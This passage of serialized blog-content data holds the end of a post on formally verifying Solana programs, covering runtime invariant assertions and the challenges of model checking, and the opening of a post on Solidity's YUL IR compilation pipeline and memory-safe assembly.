587],{"type":24,"value":18225},{"type":19,"tag":168,"props":25589,"children":25590},{"class":170,"line":707},[25591,25596,25600],{"type":19,"tag":168,"props":25592,"children":25593},{"style":212},[25594],{"type":24,"value":25595},"#[invariant(bad ",{"type":19,"tag":168,"props":25597,"children":25598},{"style":399},[25599],{"type":24,"value":6013},{"type":19,"tag":168,"props":25601,"children":25602},{"style":212},[25603],{"type":24,"value":25604}," false)]\n",{"type":19,"tag":168,"props":25606,"children":25607},{"class":170,"line":725},[25608,25612,25617],{"type":19,"tag":168,"props":25609,"children":25610},{"style":382},[25611],{"type":24,"value":6842},{"type":19,"tag":168,"props":25613,"children":25614},{"style":825},[25615],{"type":24,"value":25616}," Acc",{"type":19,"tag":168,"props":25618,"children":25619},{"style":212},[25620],{"type":24,"value":691},{"type":19,"tag":168,"props":25622,"children":25623},{"class":170,"line":746},[25624,25628,25633,25637],{"type":19,"tag":168,"props":25625,"children":25626},{"style":382},[25627],{"type":24,"value":18298},{"type":19,"tag":168,"props":25629,"children":25630},{"style":393},[25631],{"type":24,"value":25632}," bad",{"type":19,"tag":168,"props":25634,"children":25635},{"style":399},[25636],{"type":24,"value":1922},{"type":19,"tag":168,"props":25638,"children":25639},{"style":825},[25640],{"type":24,"value":25641}," bool\n",{"type":19,"tag":168,"props":25643,"children":25644},{"class":170,"line":755},[25645],{"type":19,"tag":168,"props":25646,"children":25647},{"style":212},[25648],{"type":24,"value":1326},{"type":19,"tag":168,"props":25650,"children":25651},{"class":170,"line":1008},[25652],{"type":19,"tag":168,"props":25653,"children":25654},{"emptyLinePlaceholder":14},[25655],{"type":24,"value":1093},{"type":19,"tag":168,"props":25657,"children":25658},{"class":170,"line":1025},[25659,25664,25668],{"type":19,"tag":168,"props":25660,"children":25661},{"style":382},[25662],{"type":24,"value":25663},"impl",{"type":19,"tag":168,"props":25665,"children":25666},{"style":825},[25667],{"type":24,"value":25616},{"type":19,"tag":168,"props":25669,"children":25670},{"style":212},[25671],{"type":24,"value":691},{"type":19,"tag":168,"props":25673,"children":25674},{"class":170,"line":1042},[25675,25679,25683,25688],{"type":19,"tag":168,"props":25676,"children":25677},{"style":382},[25678],{"type":24,"value":18298},{"type":19,"tag":168,"props":25680,"children":25681},{"style":382},[25682],{"type":24,"value":11141},{"type":19,"tag":168,"props":25684,"children":25685},{"style":175},[25686],{"type":24,"value":25687}," put_into_bad_state",{"type":19,"tag":168,"props":25689,"children":25690},{"style":212},[25691],{"type":24,"value":13184},{"type":19,"tag":168,"props":25693,"children":25694},{"class":170,"line":1055},[25695,25699,25703,25708,25712,25716],{"type":19,"tag":168,"props":25696,"children":25697},{"style":382},[25698],{"type":24,"value":24828},{"type":19,"tag":168,"props":25700,"children":25701},{"style":399},[25702],{"type":24,"value":948},{"type":19,"tag":168,"props":25704,"children":25705},{"style":212},[25706],{"type":24,"value":25707},"bad ",{"type":19,"tag":168,"props":25709,"children":25710},{"style":399},[25711],{"type":24,"value":486},{"type":19,"tag":168,"props":25713,"children":25714},{"style":382},[25715],{"type":24,"value":9914},{"type":19,"tag":168,"props":25717,"children":25718},{"style":212},[25719],{"type":24,"value":412},{"type":19,"tag":168,"props":25721,"children":25722},{"class":170,"line":1064},[25723],{"type":19,"tag":168,"props":25724,"children":25725},{"style":212},[25726],{"type":24,"value":761},{"type":19,"tag":168,"props":25728,"children":25729},{"class":170,"line":1087},[25730],{"type":19,"tag":168,"props":25731,"children":25732},{"style":212},[25733],{"type":24,"value":1326},{"type":19,"tag":168,"props":25735,"children":25736},{"class":170,"line":1096},[25737],{"type":19,"tag":168,"props":25738,"children":25739},{"emptyLinePlaceholder":14},[25740],{"type":24,"value":1093},{"type":19,"tag":168,"props":25742,"children":25743},{"class":170,"line":1105},[25744],{"type":19,"tag":168,"props":25745,"children":25746},{"style":373},[25747],{"type":24,"value":25748},"// Instruction handler:\n",{"type":19,"tag":168,"props":25750,"children":25751},{"class":170,"line":1174},[25752,25756,25761,25765,25769,25773,25777,25781,25786,25790,25794,25798],{"type":19,"tag":168,"props":25753,"children":25754},{"style":382},[25755],{"type":24,"value":17721},{"type":19,"tag":168,"props":25757,"children":25758},{"style":175},[25759],{"type":24,"value":25760}," hard_to_verify",{"type":19,"tag":168,"props":25762,"children":25763},{"style":212},[25764],{"type":24,"value":500},{"type":19,"tag":168,"props":25766,"children":25767},{"style":393},[25768],{"type":24,"value":17735},{"type":19,"tag":168,"props":25770,"children":25771},{"style":399},[25772],{"type":24,"value":1922},{"type":19,"tag":168,"props":25774,"children":25775},{"style":825},[25776],{"type":24,"value":17744},{"type":19,"tag":168,"props":25778,"children":25779},{"style":212},[25780],{"type":24,"value":3240},{"type":19,"tag":168,"props":25782,"children":25783},{"style":825},[25784],{"type":24,"value":25785},"MyCtx",{"type":19,"tag":168,"props":25787,"children":25788},{"style":212},[25789],{"type":24,"value":17901},{"type":19,"tag":168,"props":25791,"children":25792},{"style":399},[25793],{"type":24,"value":11203},{"type":19,"tag":168,"props":25795,"children":25796},{"style":825},[25797],{"type":24,"value":11208},{"type":19,"tag":168,"props":25799,"children":25800},{"style":212},[25801],{"type":24,"value":17786},{"type":19,"tag":168,"props":25803,"children":25804},{"class":170,"line":1182},[25805,25810,25814,25818,25823],{"type":19,"tag":168,"props":25806,"children":25807},{"style":175},[25808],{"type":24,"value":25809}," invoke_signed",{"type":19,"tag":168,"props":25811,"children":25812},{"style":212},[25813],{"type":24,"value":500},{"type":19,"tag":168,"props":25815,"children":25816},{"style":399},[25817],{"type":24,"value":7032},{"type":19,"tag":168,"props":25819,"children":25820},{"style":212},[25821],{"type":24,"value":25822},"); ",{"type":19,"tag":168,"props":25824,"children":25825},{"style":373},[25826],{"type":24,"value":25827},"// Cross-program invocation\n",{"type":19,"tag":168,"props":25829,"children":25830},{"class":170,"line":1212},[25831],{"type":19,"tag":168,"props":25832,"children":25833},{"emptyLinePlaceholder":14},[25834],{"type":24,"value":1093},{"type":19,"tag":168,"props":25836,"children":25837},{"class":170,"line":1220},[25838,25842,25847,25851,25855,25859],{"type":19,"tag":168,"props":25839,"children":25840},{"style":382},[25841],{"type":24,"value":385},{"type":19,"tag":168,"props":25843,"children":25844},{"style":393},[25845],{"type":24,"value":25846}," invoke_res",{"type":19,"tag":168,"props":25848,"children":25849},{"style":399},[25850],{"type":24,"value":402},{"type":19,"tag":168,"props":25852,"children":25853},{"style":399},[25854],{"type":24,"value":22767},{"type":19,"tag":168,"props":25856,"children":25857},{"style":212},[25858],{"type":24,"value":14676},{"type":19,"tag":168,"props":25860,"children":25861},{"style":373},[25862],{"type":24,"value":25863},"// fetch result of invocation\n",{"type":19,"tag":168,"props":25865,"children":25866},{"class":170,"line":1252},[25867,25871,25875,25879,25884],{"type":19,"tag":168,"props":25868,"children":25869},{"style":419},[25870],{"type":24,"value":9724},{"type":19,"tag":168,"props":25872,"children":25873},{"style":393},[25874],{"type":24,"value":25846},{"type":19,"tag":168,"props":25876,"children":25877},{"style":399},[25878],{"type":24,"value":682},{"type":19,"tag":168,"props":25880,"children":25881},{"style":192},[25882],{"type":24,"value":25883}," 5",{"type":19,"tag":168,"props":25885,"children":25886},{"style":212},[25887],{"type":24,"value":691},{"type":19,"tag":168,"props":25889,"children":25890},{"class":170,"line":1260},[25891,25895,25899,25904,25908,25913,25918],{"type":19,"tag":168,"props":25892,"children":25893},{"style":393},[25894],{"type":24,"value":23654},{"type":19,"tag":168,"props":25896,"children":25897},{"style":399},[25898],{"type":24,"value":948},{"type":19,"tag":168,"props":25900,"children":25901},{"style":212},[25902],{"type":24,"value":25903},"my_account",{"type":19,"tag":168,"props":25905,"children":25906},{"style":399},[25907],{"type":24,"value":948},{"type":19,"tag":168,"props":25909,"children":25910},{"style":175},[25911],{"type":24,"value":25912},"put_into_bad_state",{"type":19,"tag":168,"props":25914,"children":25915},{"style":212},[25916],{"type":24,"value":25917},"(); ",{"type":19,"tag":168,"props":25919,"children":25920},{"style":373},[25921],{"type":24,"value":25922},"// corrupt our account\n",{"type":19,"tag":168,"props":25924,"children":25925},{"class":170,"line":1320},[25926],{"type":19,"tag":168,"props":25927,"children":25928},{"style":212},[25929],{"type":24,"value":761},{"type":19,"tag":168,"props":25931,"children":25932},{"class":170,"line":6486},[25933,25937],{"type":19,"tag":168,"props":25934,"children":25935},{"style":825},[25936],{"type":24,"value":11779},{"type":19,"tag":168,"props":25938,"children":25939},{"style":212},[25940],{"type":24,"value":11784},{"type":19,"tag":168,"props":25942,"children":25943},{"class":170,"line":6504},[25944],{"type":19,"tag":168,"props":25945,"children":25946},{"style":212},[25947],{"type":24,"value":1326},{"type":19,"tag":20,"props":25949,"children":25950},{},[25951,25953,25958],{"type":24,"value":25952},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":19,"tag":27,"props":25954,"children":25956},{"className":25955},[],[25957],{"type":24,"value":25903},{"type":24,"value":25959},") will be maintained as long as the instruction succeeds.",{"type":19,"tag":20,"props":25961,"children":25962},{},[25963],{"type":24,"value":25964},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":19,"tag":20,"props":25966,"children":25967},{},[25968,25970,25975],{"type":24,"value":25969},"However, we can ",{"type":19,"tag":293,"props":25971,"children":25972},{},[25973],{"type":24,"value":25974},"augment",{"type":24,"value":25976}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":19,"tag":20,"props":25978,"children":25979},{},[25980],{"type":24,"value":25981},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":19,"tag":158,"props":25983,"children":25985},{"code":25984,"language":362,"meta":7,"className":363,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[25986],{"type":19,"tag":27,"props":25987,"children":25988},{"__ignoreMap":7},[25989,25997,26048,26071,26078,26105,26128,26159,26166,26173,26181,26216,26223,26234],{"type":19,"tag":168,"props":25990,"children":25991},{"class":170,"line":171},[25992],{"type":19,"tag":168,"props":25993,"children":25994},{"style":399},[25995],{"type":24,"value":25996},"...\n",{"type":19,"tag":168,"props":25998,"children":25999},{"class":170,"line":198},[26000,26004,26008,26012,26016,26020,26024,26028,26032,26036,26040,26044],{"type":19,"tag":168,"props":26001,"children":26002},{"style":382},[26003],{"type":24,"value":17721},{"type":19,"tag":168,"props":26005,"children":26006},{"style":175},[26007],{"type":24,"value":25760},{"type":19,"tag":168,"props":26009,"children":26010},{"style":212},[26011],{"type":24,"value":500},{"type":19,"tag":168,"props":26013,"children":26014},{"style":393},[26015],{"type":24,"value":17735},{"type":19,"tag":168,"props":26017,"children":26018},{"style":399},[26019],{"type":24,"value":1922},{"type":19,"tag":168,"props":26021,"children":26022},{"style":825},[26023],{"type":24,"value":17744},{"type":19,"tag":168,"props":26025,"children":26026},{"style":212},[26027],{"type":24,"value":3240},{"type":19,"tag":168,"props":26029,"children":26030},{"style":825},[26031],{"type":24,"value":25785},{"type":19,"tag":168,"props":26033,"children":26034},{"style":212},[26035],{"type":24,"value":17901},{"type":19,"tag":168,"props":26037,"children":26038},{"style":399},[26039],{"type":24,"value":11203},{"type":19,"tag":168,"props":26041,"children":26042},{"style":825},[26043],{"type":24,"value":11208},{"type":19,"tag":168,"props":26045,"children":26046},{"style":212},[26047],{"type":24,"value":17786},{"type":19,"tag":168,"props":26049,"children":26050},{"class":170,"line":415},[26051,26055,26059,26063,26067],{"type":19,"tag":168,"props":26052,"children":26053},{"style":175},[26054],{"type":24,"value":25809},{"type":19,"tag":168,"props":26056,"children":26057},{"style":212},[26058],{"type":24,"value":500},{"type":19,"tag":168,"props":26060,"children":26061},{"style":399},[26062],{"type":24,"value":7032},{"type":19,"tag":168,"props":26064,"children":26065},{"style":212},[26066],{"type":24,"value":25822},{"type":19,"tag":168,"props":26068,"children":26069},{"style":373},[26070],{"type":24,"value":25827},{"type":19,"tag":168,"props":26072,"children":26073},{"class":170,"line":450},[26074],{"type":19,"tag":168,"props":26075,"children":26076},{"emptyLinePlaceholder":14},[26077],{"type":24,"value":1093},{"type":19,"tag":168,"props":26079,"children":26080},{"class":170,"line":560},[26081,26085,26089,26093,26097,26101],{"type":19,"tag":168,"props":26082,"children":26083},{"style":382},[26084],{"type":24,"value":385},{"type":19,"tag":168,"props":26086,"children":26087},{"style":393},[26088],{"type":24,"value":25846},{"type":19,"tag":168,"props":26090,"children":26091},{"style":399},[26092],{"type":24,"value":402},{"type":19,"tag":168,"props":26094,"children":26095},{"style":399},[26096],{"type":24,"value":22767},{"type":19,"tag":168,"props":26098,"children":26099},{"style":212},[26100],{"type":24,"value":14676},{"type":19,"tag":168,"props":26102,"children":26103},{"style":373},[26104],{"type":24,"value":25863},{"type":19,"tag":168,"props":26106,"children":26107},{"class":170,"line":666},[26108,26112,26116,26120,26124],{"type":19,"tag":168,"props":26109,"children":26110},{"style":419},[26111],{"type":24,"value":9724},{"type":19,"tag":168,"props":26113,"children":26114},{"style":393},[26115],{"type":24,"value":25846},{"type":19,"tag":168,"props":26117,"children":26118},{"style":399},[26119],{"type":24,"value":682},{"type":19,"tag":168,"props":26121,"children":26122},{"style":192},[26123],{"type":24,"value":25883},{"type":19,"tag":168,"props":26125,"children":26126},{"style":212},[26127],{"type":24,"value":691},{"type":19,"tag":168,"props":26129,"children":26130},{"class":170,"line":694},[26131,26135,26139,26143,26147,26151,26155],{"type":19,"tag":168,"props":26132,"children":26133},{"style":393},[26134],{"type":24,"value":23654},{"type":19,"tag":168,"props":26136,"children":26137},{"style":399},[26138],{"type":24,"value":948},{"type":19,"tag":168,"props":26140,"children":26141},{"style":212},[26142],{"type":24,"value":25903},{"type":19,"tag":168,"props":26144,"children":26145},{"style":399},[26146],{"type":24,"value":948},{"type":19,"tag":168,"props":26148,"children":26149},{"style":175},[26150],{"type":24,"value":25912},{"type":19,"tag":168,"props":26152,"children":26153},{"style":212},[26154],{"type":24,"value":25917},{"type":19,"tag":168,"props":26156,"children":26157},{"style":373},[26158],{"type":24,"value":25922},{"type":19,"tag":168,"props":26160,"children":26161},{"class":170,"line":707},[26162],{"type":19,"tag":168,"props":26163,"children":26164},{"style":212},[26165],{"type":24,"value":761},{"type":19,"tag":168,"props":26167,"children":26168},{"class":170,"line":725},[26169],{"type":19,"tag":168,"props":26170,"children":26171},{"emptyLinePlaceholder":14},[26172],{"type":24,"value":1093},{"type":19,"tag":168,"props":26174,"children":26175},{"class":170,"line":746},[26176],{"type":19,"tag":168,"props":26177,"children":26178},{"style":373},[26179],{"type":24,"value":26180}," // Enforce invariants at runtime\n",{"type":19,"tag":168,"props":26182,"children":26183},{"class":170,"line":755},[26184,26188,26192,26196,26200,26204,26208,26212],{"type":19,"tag":168,"props":26185,"children":26186},{"style":175},[26187],{"type":24,"value":16693},{"type":19,"tag":168,"props":26189,"children":26190},{"style":212},[26191],{"type":24,"value":500},{"type":19,"tag":168,"props":26193,"children":26194},{"style":393},[26195],{"type":24,"value":17735},{"type":19,"tag":168,"props":26197,"children":26198},{"style":399},[26199],{"type":24,"value":948},{"type":19,"tag":168,"props":26201,"children":26202},{"style":212},[26203],{"type":24,"value":25903},{"type":19,"tag":168,"props":26205,"children":26206},{"style":399},[26207],{"type":24,"value":948},{"type":19,"tag":168,"props":26209,"children":26210},{"style":175},[26211],{"type":24,"value":19233},{"type":19,"tag":168,"props":26213,"children":26214},{"style":212},[26215],{"type":24,"value":12872},{"type":19,"tag":168,"props":26217,"children":26218},{"class":170,"line":1008},[26219],{"type":19,"tag":168,"props":26220,"children":26221},{"emptyLinePlaceholder":14},[26222],{"type":24,"value":1093},{"type":19,"tag":168,"props":26224,"children":26225},{"class":170,"line":1025},[26226,26230],{"type":19,"tag":168,"props":26227,"children":26228},{"style":825},[26229],{"type":24,"value":11779},{"type":19,"tag":168,"props":26231,"children":26232},{"style":212},[26233],{"type":24,"value":11784},{"type":19,"tag":168,"props":26235,"children":26236},{"class":170,"line":1042},[26237],{"type":19,"tag":168,"props":26238,"children":26239},{"style":212},[26240],{"type":24,"value":1326},{"type":19,"tag":20,"props":26242,"children":26243},{},[26244,26246,26251,26253,26258,26260,26265],{"type":24,"value":26245},"Here, we explicitly ",{"type":19,"tag":27,"props":26247,"children":26249},{"className":26248},[],[26250],{"type":24,"value":17438},{"type":24,"value":26252}," that our invariants hold at ",{"type":19,"tag":293,"props":26254,"children":26255},{},[26256],{"type":24,"value":26257},"runtime",{"type":24,"value":26259}," which allows us to be assured that ",{"type":19,"tag":27,"props":26261,"children":26263},{"className":26262},[],[26264],{"type":24,"value":25903},{"type":24,"value":26266}," will not enter a bad state as a result of some unverifiable behavior.",{"type":19,"tag":20,"props":26268,"children":26269},{},[26270],{"type":24,"value":26271},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":19,"tag":36,"props":26273,"children":26275},{"id":26274},"challenges-of-formal-verification-on-solana",[26276],{"type":24,"value":26277},"Challenges of formal verification on Solana",{"type":19,"tag":7050,"props":26279,"children":26281},{"id":26280},"expensive-computation",[26282],{"type":24,"value":26283},"Expensive computation",{"type":19,"tag":20,"props":26285,"children":26286},{},[26287,26289,26294],{"type":24,"value":26288},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":19,"tag":293,"props":26290,"children":26291},{},[26292],{"type":24,"value":26293},"path explosion",{"type":24,"value":26295},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":19,"tag":20,"props":26297,"children":26298},{},[26299,26301,26306],{"type":24,"value":26300},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":19,"tag":293,"props":26302,"children":26303},{},[26304],{"type":24,"value":26305},"formal verification friendly",{"type":24,"value":26307},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":19,"tag":20,"props":26309,"children":26310},{},[26311,26313,26318,26320,26325],{"type":24,"value":26312},"For example, when verifying things like the uniqueness of a ",{"type":19,"tag":27,"props":26314,"children":26316},{"className":26315},[],[26317],{"type":24,"value":18853},{"type":24,"value":26319}," in a ",{"type":19,"tag":27,"props":26321,"children":26323},{"className":26322},[],[26324],{"type":24,"value":14660},{"type":24,"value":26326},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":19,"tag":20,"props":26328,"children":26329},{},[26330,26332,26337,26339,26344,26346,26351,26353,26358,26360,26365,26367,26372],{"type":24,"value":26331},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":19,"tag":27,"props":26333,"children":26335},{"className":26334},[],[26336],{"type":24,"value":14660},{"type":24,"value":26338}," or a 32-byte ",{"type":19,"tag":27,"props":26340,"children":26342},{"className":26341},[],[26343],{"type":24,"value":18853},{"type":24,"value":26345},". Instead, our tool can substitute in ",{"type":19,"tag":293,"props":26347,"children":26348},{},[26349],{"type":24,"value":26350},"cheaper",{"type":24,"value":26352}," types and functions, such as a 4-byte ",{"type":19,"tag":27,"props":26354,"children":26356},{"className":26355},[],[26357],{"type":24,"value":18853},{"type":24,"value":26359}," struct and a fixed-size, array-backed ",{"type":19,"tag":27,"props":26361,"children":26363},{"className":26362},[],[26364],{"type":24,"value":14660},{"type":24,"value":26366}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":19,"tag":293,"props":26368,"children":26369},{},[26370],{"type":24,"value":26371},"much",{"type":24,"value":26373}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":19,"tag":20,"props":26375,"children":26376},{},[26377],{"type":24,"value":26378},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":19,"tag":7050,"props":26380,"children":26382},{"id":26381},"runtime-environment",[26383],{"type":24,"value":26384},"Runtime Environment",{"type":19,"tag":20,"props":26386,"children":26387},{},[26388],{"type":24,"value":26389},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":19,"tag":20,"props":26391,"children":26392},{},[26393],{"type":24,"value":26394},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":19,"tag":20,"props":26396,"children":26397},{},[26398],{"type":24,"value":26399},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":19,"tag":36,"props":26401,"children":26403},{"id":26402},"conclusion",[26404],{"type":24,"value":16400},{"type":19,"tag":20,"props":26406,"children":26407},{},[26408],{"type":24,"value":26409},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":19,"tag":20,"props":26411,"children":26412},{},[26413],{"type":24,"value":26414},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":19,"tag":16245,"props":26416,"children":26417},{},[],{"type":19,"tag":20,"props":26419,"children":26420},{},[26421],{"type":19,"tag":293,"props":26422,"children":26423},{},[26424,26426,26431,26432,26436],{"type":24,"value":26425},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":19,"tag":269,"props":26427,"children":26429},{"href":16328,"rel":26428},[273],[26430],{"type":24,"value":16332},{"type":24,"value":16334},{"type":19,"tag":269,"props":26433,"children":26434},{"href":16337},[26435],{"type":24,"value":16340},{"type":24,"value":948},{"type":19,"tag":232,"props":26438,"children":26439},{},[26440],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":26442},[26443,26449,26453,26458,26464,26468],{"id":16403,"depth":198,"text":16406,"children":26444},[26445,26446,26447,26448],{"id":16409,"depth":415,"text":16412},{"id":16477,"depth":415,"text":16480},{"id":17358,"depth":415,"text":17361},{"id":17398,"depth":415,"text":17401},{"id":17451,"depth":198,"text":26450,"children":26451},"Specification: How can we describe what we want our program to do?",[26452],{"id":17565,"depth":415,"text":17568},{"id":18925,"depth":198,"text":18928,"children":26454},[26455,26456,26457],{"id":19602,"depth":415,"text":19605},{"id":19887,"depth":415,"text":19890},{"id":20031,"depth":415,"text":20034},{"id":20172,"depth":198,"text":20175,"children":26459},[26460,26461,26462,26463],{"id":20243,"depth":415,"text":20246},{"id":22106,"depth":415,"text":22109},{"id":22908,"depth":415,"text":20235},{"id":25434,"depth":415,"text":20240},{"id":26274,"depth":198,"text":26277,"children":26465},[26466,26467],{"id":26280,"depth":415,"text":26283},{"id":26381,"depth":415,"text":26384},{"id":26402,"depth":198,"text":16400},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":26473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":26474,"description":26475,"author":3153,"image":26476,"date":26478,"isFeatured":14,"onBlogPage":14,"tags":26479,"body":26481,"_type":242,"_id":27901,"_source":244,"_file":27902,"_stem":27903,"_extension":247},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":26477,"height":11069,"width":11069},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[1904,26480],"compiler",{"type":16,"children":26482,"toc":27892},[26483,26489,26525,26537,26543,26565,26578,26726,26747,26752,26773,26778,26786,26791,26796,26801,26807,26826,26831,26852,26915,26928,26958,26978,27005,27010,27023,27028,27033,27046,27077,27100,27254,27272,27323,27342,27367,27372,27378,27405,27425,27453,27458,27480,27499,27507,27518,27523,27539,27796,27804,27809,27813,27818,27823,27888],{"type":19,"tag":36,"props":26484,"children":26486},{"id":26485},"introduction",[26487],{"type":24,"value":26488},"Introduction",{"type":19,"tag":20,"props":26490,"children":26491},{},[26492,26494,26500,26501,26505,26507,26514,26516,26523],{"type":24,"value":26493},"What does ",{"type":19,"tag":27,"props":26495,"children":26497},{"className":26496},[],[26498],{"type":24,"value":26499},"memory-safe",{"type":24,"value":3893},{"type":19,"tag":293,"props":26502,"children":26503},{},[26504],{"type":24,"value":6729},{"type":24,"value":26506}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":19,"tag":269,"props":26508,"children":26511},{"href":26509,"rel":26510},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[273],[26512],{"type":24,"value":26513},"presents some requirements",{"type":24,"value":26515},", but is production code that ",{"type":19,"tag":269,"props":26517,"children":26520},{"href":26518,"rel":26519},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[273],[26521],{"type":24,"value":26522},"violates these requirements",{"type":24,"value":26524}," necessarily unsafe?",{"type":19,"tag":20,"props":26526,"children":26527},{},[26528,26530,26535],{"type":24,"value":26529},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":19,"tag":293,"props":26531,"children":26532},{},[26533],{"type":24,"value":26534},"memory-safety",{"type":24,"value":26536}," actually means.",{"type":19,"tag":36,"props":26538,"children":26540},{"id":26539},"compiler-pipeline",[26541],{"type":24,"value":26542},"Compiler Pipeline",{"type":19,"tag":20,"props":26544,"children":26545},{},[26546,26548,26555,26557,26564],{"type":24,"value":26547},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":19,"tag":269,"props":26549,"children":26552},{"href":26550,"rel":26551},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[273],[26553],{"type":24,"value":26554},"released in v0.8.13",{"type":24,"value":26556},". Compilation happens ",{"type":19,"tag":269,"props":26558,"children":26561},{"href":26559,"rel":26560},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[273],[26562],{"type":24,"value":26563},"in two main steps",{"type":24,"value":1922},{"type":19,"tag":2869,"props":26566,"children":26567},{},[26568,26573],{"type":19,"tag":47,"props":26569,"children":26570},{},[26571],{"type":24,"value":26572},"Solidity to YUL IR",{"type":19,"tag":47,"props":26574,"children":26575},{},[26576],{"type":24,"value":26577},"YUL IR to EVM opcodes",{"type":19,"tag":158,"props":26579,"children":26583},{"className":26580,"code":26581,"language":26582,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[26584],{"type":19,"tag":27,"props":26585,"children":26586},{"__ignoreMap":7},[26587,26617,26638,26650,26658,26670,26690,26698,26719],{"type":19,"tag":168,"props":26588,"children":26589},{"class":170,"line":171},[26590,26594,26599,26603,26608,26612],{"type":19,"tag":168,"props":26591,"children":26592},{"style":419},[26593],{"type":24,"value":9724},{"type":19,"tag":168,"props":26595,"children":26596},{"style":212},[26597],{"type":24,"value":26598}," (m_viaIR ",{"type":19,"tag":168,"props":26600,"children":26601},{"style":399},[26602],{"type":24,"value":19874},{"type":19,"tag":168,"props":26604,"children":26605},{"style":212},[26606],{"type":24,"value":26607}," m_generateIR ",{"type":19,"tag":168,"props":26609,"children":26610},{"style":399},[26611],{"type":24,"value":19874},{"type":19,"tag":168,"props":26613,"children":26614},{"style":212},[26615],{"type":24,"value":26616}," m_generateEwasm)\n",{"type":19,"tag":168,"props":26618,"children":26619},{"class":170,"line":198},[26620,26625,26629,26633],{"type":19,"tag":168,"props":26621,"children":26622},{"style":175},[26623],{"type":24,"value":26624}," generateIR",{"type":19,"tag":168,"props":26626,"children":26627},{"style":212},[26628],{"type":24,"value":500},{"type":19,"tag":168,"props":26630,"children":26631},{"style":399},[26632],{"type":24,"value":2002},{"type":19,"tag":168,"props":26634,"children":26635},{"style":212},[26636],{"type":24,"value":26637},"contract);\n",{"type":19,"tag":168,"props":26639,"children":26640},{"class":170,"line":415},[26641,26645],{"type":19,"tag":168,"props":26642,"children":26643},{"style":419},[26644],{"type":24,"value":9724},{"type":19,"tag":168,"props":26646,"children":26647},{"style":212},[26648],{"type":24,"value":26649}," (m_generateEvmBytecode)\n",{"type":19,"tag":168,"props":26651,"children":26652},{"class":170,"line":450},[26653],{"type":19,"tag":168,"props":26654,"children":26655},{"style":212},[26656],{"type":24,"value":26657}," {\n",{"type":19,"tag":168,"props":26659,"children":26660},{"class":170,"line":560},[26661,26665],{"type":19,"tag":168,"props":26662,"children":26663},{"style":419},[26664],{"type":24,"value":672},{"type":19,"tag":168,"props":26666,"children":26667},{"style":212},[26668],{"type":24,"value":26669}," (m_viaIR)\n",{"type":19,"tag":168,"props":26671,"children":26672},{"class":170,"line":666},[26673,26678,26682,26686],{"type":19,"tag":168,"props":26674,"children":26675},{"style":175},[26676],{"type":24,"value":26677}," 